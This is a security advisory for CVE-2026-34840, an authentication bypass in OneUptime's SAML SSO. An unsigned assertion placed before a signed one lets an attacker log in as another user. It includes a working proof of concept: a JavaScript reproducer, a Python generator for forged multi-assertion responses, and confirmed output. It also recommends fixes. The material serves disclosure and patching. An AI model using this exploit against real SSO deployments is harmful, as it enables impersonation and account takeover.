OneUptime SSO: Multi-Assertion Identity Injection via Decoupled Signature Verification

High **simlarsen** published **GHSA-5w5c-766x-265g** 3 days ago

Package

No package listed

Affected versions

< 10.0.42

Patched versions

10.0.42

Description

Summary

OneUptime's SAML SSO implementation (`App/FeatureSet/Identity/Utils/SSO.ts`) has decoupled signature verification and identity extraction. `isSignatureValid()` verifies the first `<Signature>` element in the XML DOM using xml-crypto, while `getEmail()` always reads from `assertion[0]` via xml2js. An attacker can prepend an unsigned assertion containing an arbitrary identity before a legitimately signed assertion, resulting in authentication bypass.

Confirmed via code-level reproduction of the vulnerable code path; not tested against a running OneUptime instance.

- **Severity**: High (conditional on IdP signature configuration)
- **Attack Type**: Authentication bypass / identity injection
- **Affected Component**: `App/FeatureSet/Identity/Utils/SSO.ts`
- **Affected Configurations**: OneUptime instances using SAML SSO where the IdP produces assertion-level (enveloped) signatures. Deployments where only the `<Response>` envelope is signed are not exploitable via this attack path, since prepending an assertion would invalidate the response-level digest.

Root Cause

Two independent code paths operate on the same SAML Response without binding. Notably, each path uses a different XML parser — xmldom for signature verification, xml2js for identity extraction — making the disconnect structural.

1. Signature Verification (`isSignatureValid`)

```
// App/FeatureSet/Identity/Utils/SSO.ts
public static isSignatureValid(samlPayload: string, certificate: string): boolean {
    const doc = new xmldom.DOMParser().parseFromString(samlPayload);
    const signature = doc.getElementsByTagNameNS(
        "http://www.w3.org/2000/09/xmldsig#",
        "Signature"
    )[0];                                        // ← takes FIRST <Signature> in DOM

    const sig = new xmlCrypto.SignedXml();
    sig.keyInfoProvider = {
        getKey: () => Buffer.from(certificate),
    };
    sig.loadSignature(signature.toString());
    return sig.checkSignature(samlPayload);     // ← re-computes digest for the Referenc
}
```

2. Identity Extraction (`getEmail`)

```
// App/FeatureSet/Identity/Utils/SSO.ts
public static getEmail(samlPayload: JSONObject): string {
    const response = samlPayload["samlp:Response"] || samlPayload["saml2p:Response"];
    const assertion = response["saml:Assertion"] || response["saml2:Assertion"];
    // ↑ returns ALL assertions as array — assertion[0] is always used
    const subject = assertion[0]["saml:Subject"] || assertion[0]["saml2:Subject"];
    const nameID = subject[0]["saml:NameID"] || subject[0]["saml2:NameID"];
    return nameID[0]["_"];              // ← identity always from assertion[0]
}
```

Gap: No code binds signature verification to identity extraction. The signature validates on `assertion[1]` while identity is always extracted from `assertion[0]`. The API handler (`App/FeatureSet/Identity/API/SSO.ts`) performs no additional SAML validation beyond these two functions — there are no temporal condition checks, Destination validation, or Audience restriction checks.

Attack Scenario

Precondition: The IdP must produce assertion-level (enveloped) signatures. If the IdP only signs the `<Response>` envelope, prepending an assertion would invalidate the response-level digest.

1. Attacker authenticates normally via SSO → receives a legitimate SAMLResponse for `attacker@evil.com`
2. Attacker intercepts the SAMLResponse (e.g., via browser devtools or proxy)
3. Base64-decodes, prepends an unsigned `<Assertion>` with `admin@victim.com` as NameID
4. Base64-encodes the modified response, submits to OneUptime ACS endpoint
5. `isSignatureValid()`: finds `<Signature>` inside assertion[1], re-computes its Reference digest → **valid**
6. `getEmail()`: reads `assertion[0]` (unsigned) → `admin@victim.com`
7. **Result**: Attacker is authenticated as `admin@victim.com`

Scope limitation: The target identity must be a registered user in the same SSO-enabled OneUptime project, since the API handler performs user lookup and team membership verification after email extraction.

Proof of Concept

Setup

```
npm install xml2js xml-crypto @xmldom/xmldom
pip install lxml signxml cryptography
```

Requires an IdP key pair for signing test assertions. Generate with:

```
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 365 d
```

File 1: `oneuptime_sso_reproduce.js` — OneUptime SSO.ts code path reproducer

Minor deviations from the original source:

- `nameID[0]["_"] || nameID[0]` fallback added (original uses only `nameID[0]["_"]`)
- TypeScript types removed for standalone JS execution

The vulnerable behavior — decoupled signature verification vs identity extraction — is faithfully preserved.

```
/**
 * Reproduce OneUptime's SSO.ts SAML flow with multi-assertion injection.
 *
 * Simulates the EXACT code path:
 *   1. xml2js.parseStringPromise(samlResponse)   — parse to JSON
 *   2. isSignatureValid(rawXml, cert)              — xml-crypto on raw XML
 *   3. getEmail(parsedJson)                        — assertion[0].Subject[0].NameID[0][
 */
```

```
"use strict";

const fs = require("fs");
const path = require("path");
const xml2js = require("xml2js");
const xmlCrypto = require("xml-crypto");
const xmldom = require("@xmldom/xmldom");

const IDP_CERT = fs.readFileSync(process.argv[4] || "idp_cert.pem", "utf8");

// ── OneUptime's isSignatureValid (from App/FeatureSet/Identity/Utils/SSO.ts) ──
function isSignatureValid(samlPayload, certificate) {
  try {
    const doc = new xmldom.DOMParser().parseFromString(samlPayload, "text/xml");
    const signature = doc.getElementsByTagNameNS(
      "http://www.w3.org/2000/09/xmldsig#",
      "Signature"
    )[0]; // Takes FIRST Signature element

    if (!signature) {
      return { valid: false, error: "No Signature element found" };
    }

    const sig = new xmlCrypto.SignedXml();
    sig.publicCert = certificate;
    sig.keyInfoProvider = {
      getKey: () => Buffer.from(certificate),
      getKeyInfo: () => "",
    };
    sig.loadSignature(signature.toString());
    const valid = sig.checkSignature(samlPayload);
    const errors = sig.validationErrors || [];

    return { valid, errors };
  } catch (e) {
    return { valid: false, error: e.message };
  }
}

// ── OneUptime's getEmail (from App/FeatureSet/Identity/Utils/SSO.ts) ──
function getEmail(payload) {
  const response =
    payload["samlp:Response"] ||
    payload["saml2p:Response"] ||
    payload["Response"];

  if (!response) return { email: null, error: "No Response element" };

  const assertion =
    response["saml:Assertion"] ||
    response["saml2:Assertion"] ||
    response["Assertion"];

  if (!assertion || !assertion[0]) return { email: null, error: "No Assertion" };

  const assertionCount = assertion.length;
```

```
  const subject =
    assertion[0]["saml:Subject"] ||
    assertion[0]["saml2:Subject"] ||
    assertion[0]["Subject"];

  if (!subject || !subject[0]) return { email: null, error: "No Subject" };

  const nameID =
    subject[0]["saml:NameID"] ||
    subject[0]["saml2:NameID"] ||
    subject[0]["NameID"];

  if (!nameID || !nameID[0]) return { email: null, error: "No NameID" };

  const emailVal = nameID[0]["_"] || nameID[0];
  const email = typeof emailVal === "string" ? emailVal.trim() : String(emailVal);

  return { email, assertionCount };
}

// ── Main ──
async function main() {
  const xmlFile = process.argv[2];
  const label = process.argv[3] || xmlFile;

  if (!xmlFile) {
    console.log("Usage: node oneuptime_sso_reproduce.js <xml_file> [label] [cert_path]")
    process.exit(1);
  }

  const rawXml = fs.readFileSync(xmlFile, "utf8");

  const assertionMatches = rawXml.match(/<(?:saml:|saml2:|)Assertion[\s>]/g) || [];
  console.log(`  Assertions in raw XML: ${assertionMatches.length}`);

  const parsed = await xml2js.parseStringPromise(rawXml);

  const sigResult = isSignatureValid(rawXml, IDP_CERT);
  console.log(`  isSignatureValid():    ${sigResult.valid}`);
  if (!sigResult.valid) {
    console.log(`  Signature error:       ${JSON.stringify(sigResult.errors || sigResult
  }

  const emailResult = getEmail(parsed);
  console.log(`  getEmail():            ${emailResult.email}`);
  console.log(`  Assertion count seen:  ${emailResult.assertionCount || "N/A"}`);

  if (sigResult.valid && emailResult.email) {
    console.log(`  → Signature VALID, extracted email: ${emailResult.email}`);
  } else if (!sigResult.valid) {
    console.log(`  → Signature INVALID — rejected`);
  } else {
    console.log(`  → Email extraction failed: ${emailResult.error}`);
  }
}
```

```
main().catch((e) => {
  console.error("Fatal:", e.message);
  process.exit(1);
});
```

File 2: `oneuptime_exploit_driver.py` — generates signed multi-assertion XMLs and invokes the JS reproducer

```
"""
Generate multi-assertion XMLs and test OneUptime's exact SSO code path.
"""
import sys, os, subprocess, tempfile

from lxml import etree
from signxml import XMLSigner
from signxml.algorithms import *
from cryptography.hazmat.primitives.serialization import load_pem_private_key
from cryptography import x509

KEY = load_pem_private_key(open("idp_key.pem", "rb").read(), password=None)
CERT = x509.load_pem_x509_certificate(open("idp_cert.pem", "rb").read())
SAML = "urn:oasis:names:tc:SAML:2.0:assertion"
SAMLP = "urn:oasis:names:tc:SAML:2.0:protocol"


def make_assertion(aid, subject, do_sign=False):
    a = etree.Element(f"{{{SAML}}}Assertion", nsmap={"saml": SAML},
                      attrib={"ID": aid, "Version": "2.0",
                              "IssueInstant": "2026-03-13T00:00:00Z"})
    etree.SubElement(a, f"{{{SAML}}}Issuer").text = "https://idp.example.com"
    subj = etree.SubElement(a, f"{{{SAML}}}Subject")
    nid = etree.SubElement(subj, f"{{{SAML}}}NameID",
                           attrib={"Format": "urn:oasis:names:tc:SAML:1.1:nameid-format:
    nid.text = subject
    sc = etree.SubElement(subj, f"{{{SAML}}}SubjectConfirmation",
                          attrib={"Method": "urn:oasis:names:tc:SAML:2.0:cm:bearer"})
    etree.SubElement(sc, f"{{{SAML}}}SubjectConfirmationData",
                     attrib={"NotOnOrAfter": "2030-12-31T23:59:59Z",
                             "Recipient": "https://sp.example.com/acs"})
    cond = etree.SubElement(a, f"{{{SAML}}}Conditions",
                            attrib={"NotBefore": "2020-01-01T00:00:00Z",
                                    "NotOnOrAfter": "2030-12-31T23:59:59Z"})
    ar = etree.SubElement(cond, f"{{{SAML}}}AudienceRestriction")
    etree.SubElement(ar, f"{{{SAML}}}Audience").text = "https://sp.example.com"
    authn = etree.SubElement(a, f"{{{SAML}}}AuthnStatement",
                             attrib={"AuthnInstant": "2026-03-13T00:00:00Z",
                                     "SessionIndex": f"_s_{aid}"})
    ctx = etree.SubElement(authn, f"{{{SAML}}}AuthnContext")
    etree.SubElement(ctx, f"{{{SAML}}}AuthnContextClassRef").text = \
        "urn:oasis:names:tc:SAML:2.0:ac:classes:Password"
    if do_sign:
        signer = XMLSigner(
            method=SignatureConstructionMethod.enveloped,
```

```
            signature_algorithm=SignatureMethod.RSA_SHA256,
            digest_algorithm=DigestAlgorithm.SHA256,
            c14n_algorithm=CanonicalizationMethod.EXCLUSIVE_XML_CANONICALIZATION_1_0,
        )
        a = signer.sign(a, key=KEY, cert=[CERT])
    return a


def make_response(*assertions):
    r = etree.Element(f"{{{SAMLP}}}Response", nsmap={"samlp": SAMLP, "saml": SAML},
                      attrib={"ID": "_resp", "Version": "2.0",
                              "IssueInstant": "2026-03-13T00:00:00Z",
                              "Destination": "https://sp.example.com/acs"})
    etree.SubElement(r, f"{{{SAML}}}Issuer").text = "https://idp.example.com"
    st = etree.SubElement(r, f"{{{SAMLP}}}Status")
    etree.SubElement(st, f"{{{SAMLP}}}StatusCode",
                     attrib={"Value": "urn:oasis:names:tc:SAML:2.0:status:Success"})
    for a in assertions:
        r.append(a)
    return etree.tostring(r, xml_declaration=True, encoding="UTF-8")


def run_test(xml_bytes, label):
    tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".xml")
    tmp.write(xml_bytes)
    tmp.close()
    try:
        r = subprocess.run(
            ["node", "oneuptime_sso_reproduce.js", tmp.name, label, "idp_cert.pem"],
            capture_output=True, text=True, timeout=15,
            encoding="utf-8", errors="replace",
        )
        print(r.stdout)
        if r.stderr.strip():
            print(f"  STDERR: {r.stderr.strip()[:300]}")
        return r.returncode
    finally:
        os.unlink(tmp.name)


if __name__ == "__main__":
    print("=" * 70)
    print("  OneUptime SSO.ts — Direct Multi-Assertion Exploit Test")
    print("  Reproducing EXACT code path: isSignatureValid → getEmail")
    print("=" * 70)

    # ── Baseline: single signed assertion ──────────────────────
    print("\n[TEST 0] Single signed assertion (baseline)")
    single = make_response(make_assertion("_s", "legit@company.com", do_sign=True))
    run_test(single, "Baseline: single signed assertion")

    # ── Attack 1: unsigned evil FIRST + signed legit SECOND ────
    print("\n[TEST 1] ATTACK: unsigned admin@victim FIRST + signed attacker SECOND")
    evil = make_assertion("_evil", "admin@victim.com", do_sign=False)
    legit = make_assertion("_legit", "attacker@evil.com", do_sign=True)
    xml1 = make_response(evil, legit)
```

```
    run_test(xml1, "Attack: unsigned evil[0] + signed legit[1]")

    # ── Attack 2: signed legit FIRST + unsigned evil SECOND ──────
    print("\n[TEST 2] Reverse: signed attacker FIRST + unsigned admin SECOND")
    legit2 = make_assertion("_legit2", "attacker@evil.com", do_sign=True)
    evil2 = make_assertion("_evil2", "admin@victim.com", do_sign=False)
    xml2 = make_response(legit2, evil2)
    run_test(xml2, "Reverse: signed[0] + unsigned evil[1]")

    # ── Summary ──────────────────────────────────────────────────
    print("=" * 70)
    print("  VERDICT")
    print("=" * 70)
    print("  If TEST 1 shows: sig=VALID + email=admin@victim.com → EXPLOITABLE")
    print("  If TEST 1 shows: sig=INVALID or email=attacker@evil.com → SAFE")
    print("=" * 70)
```

Output (confirmed)

```
======================================================================
  OneUptime SSO.ts — Direct Multi-Assertion Exploit Test
  Reproducing EXACT code path: isSignatureValid → getEmail
======================================================================

[TEST 0] Single signed assertion (baseline)
  isSignatureValid():    true
  getEmail():            legit@company.com
  Assertion count seen:  1
  → Signature VALID, extracted email: legit@company.com

[TEST 1] ATTACK: unsigned admin@victim FIRST + signed attacker SECOND
  Assertions in raw XML: 2
  isSignatureValid():    true              ← sig validates on assertion[1]
  getEmail():            admin@victim.com  ← extracted from assertion[0]
  → Signature VALID, extracted email: admin@victim.com    ← EXPLOITABLE

[TEST 2] Reverse: signed attacker FIRST + unsigned admin SECOND
  isSignatureValid():    true
  getEmail():            attacker@evil.com  ← assertion[0] is the signed one
  → Signature VALID, extracted email: attacker@evil.com   ← position-dependent
```

TEST 1 confirms the exploit. TEST 2 shows that when the signed assertion is first, identity extraction happens to be correct — but this is coincidental, not by design. The code has no mechanism to enforce this binding.

Malicious SAMLResponse Structure

```
<samlp:Response ID="_resp" Version="2.0" ...>
  <saml:Issuer>https://idp.example.com</saml:Issuer>
  <samlp:Status><samlp:StatusCode Value="...Success"/></samlp:Status>
```

```
  <!-- assertion[0]: UNSIGNED — attacker-controlled identity -->
  <saml:Assertion ID="_evil" Version="2.0" ...>
    <saml:Subject>
      <saml:NameID>admin@victim.com</saml:NameID>    ← getEmail() reads here
    </saml:Subject>
    <!-- NO <ds:Signature> -->
  </saml:Assertion>

  <!-- assertion[1]: SIGNED by legitimate IdP (enveloped) -->
  <saml:Assertion ID="_legit" Version="2.0" ...>
    <saml:Subject>
      <saml:NameID>attacker@evil.com</saml:NameID>
    </saml:Subject>
    <ds:Signature>...</ds:Signature>                 ← isSignatureValid() validates her
  </saml:Assertion>

</samlp:Response>
```

Key Distinctions

- **Code-level reproduction, not instance-tested**: The PoC reproduces OneUptime's vulnerable code path in isolation. It has not been tested against a running OneUptime instance.
- **Not a self-signed issue**: `assertion[0]` has NO signature at all; `assertion[1]` has a legitimate IdP signature.
- **Not an xml-crypto bug**: xml-crypto correctly validates the signature it is given. SAML protocol-level binding between signature and identity extraction is the caller's responsibility.
- **IdP signature mode matters**: This attack requires assertion-level (enveloped) signatures. Response-level-only signatures would invalidate the attack since prepending an assertion changes the response envelope's digest.
- **Dual-parser disconnect**: `isSignatureValid` parses via xmldom; `getEmail` parses via xml2js. The two parsers operate independently on the same input, with no shared state binding the verified element to the extracted element.
- **Minor code deviations**: The reproduction adds a `|| nameID[0]` fallback not present in the original `nameID[0]["_"]`. This does not affect the vulnerable behavior.

Impact

- **Authentication bypass**: An attacker with a valid IdP account can impersonate any other user within the same SSO-enabled OneUptime project.
- **Scope**: OneUptime is an actively maintained open-source monitoring platform (~6.7K GitHub stars) with self-hosted and SaaS deployments.
- **Affected deployments**: Instances using SAML SSO with an IdP that produces assertion-level signatures.

Recommended Fix

1. **Reject multi-assertion responses** (simplest):

```
const assertions = response["saml:Assertion"] || response["saml2:Assertion"];
if (!assertions || assertions.length !== 1) {
    throw new Error("Expected exactly one Assertion in SAML Response");
}
```

2. **Bind signature to extraction**: After verifying the signature, identify which assertion was actually signed via the Reference URI, and extract identity only from that assertion.

3. **Consider adopting a mature SAML library**: Libraries like `passport-saml` / `@node-saml/node-saml` handle assertion-signature binding correctly.

Timeline

- 2026-03-13: Discovered via code review
- 2026-03-13: Confirmed via standalone code reproduction
- 2026-03-21: Advisory drafted
- 2026-03-26: Factual review and source code verification assisted by @filime

Severity

High 8.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-34840

Weaknesses

▶ CWE-347

Credits

dmbs335 Reporter